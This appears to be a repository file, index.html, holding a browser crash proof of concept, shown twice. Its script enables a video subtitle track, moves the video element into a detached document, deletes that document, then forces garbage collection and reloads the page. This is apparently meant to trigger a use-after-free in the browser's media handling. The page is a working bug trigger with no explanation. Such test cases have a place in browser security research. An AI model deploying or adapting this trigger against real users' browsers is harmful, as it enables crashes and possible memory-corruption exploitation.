leo60228/index.html

## index.html
<!DOCTYPE  html>
<html>
    <head>
        <script>
        function startTest()
        {
            document.getElementsByTagName('track')[0].track.mode = 'showing';
            setTimeout(CFcrash, 5000);
        }

        function forceGC() {
            for (var i = 0; i < 10000; i++) {
                var s = new String("abc");
            }

            window.location.reload();
        }

        function CFcrash()
        {
            document1 = document.implementation.createDocument("", null);
            document1.appendChild(videoElement);
            delete document1;

            setTimeout(forceGC, 0);
        }

        document.addEventListener("DOMContentLoaded", startTest, false);
        </script>
    </head>

    <body>
        <p>Instructions: Play the video, enable subtitles, play again when video finishes</p>
        <video autoplay id="videoElement">
            <source src="test.mp4">
            <track src="captions-fast.vtt" default>
        </video>
    </body>
</html>
	<!DOCTYPE html>
	<html>
	<head>
	<script>
	function startTest()
	{
	document.getElementsByTagName('track')[0].track.mode = 'showing';
	setTimeout(CFcrash, 5000);
	}

	function forceGC() {
	for (var i = 0; i < 10000; i++) {
	var s = new String("abc");
	}

	window.location.reload();
	}

	function CFcrash()
	{
	document1 = document.implementation.createDocument("", null);
	document1.appendChild(videoElement);
	delete document1;

	setTimeout(forceGC, 0);
	}

	document.addEventListener("DOMContentLoaded", startTest, false);
	</script>
	</head>

	<body>
	<p>Instructions: Play the video, enable subtitles, play again when video finishes</p>
	<video autoplay id="videoElement">
	<source src="test.mp4">
	<track src="captions-fast.vtt" default>
	</video>
	</body>
	</html>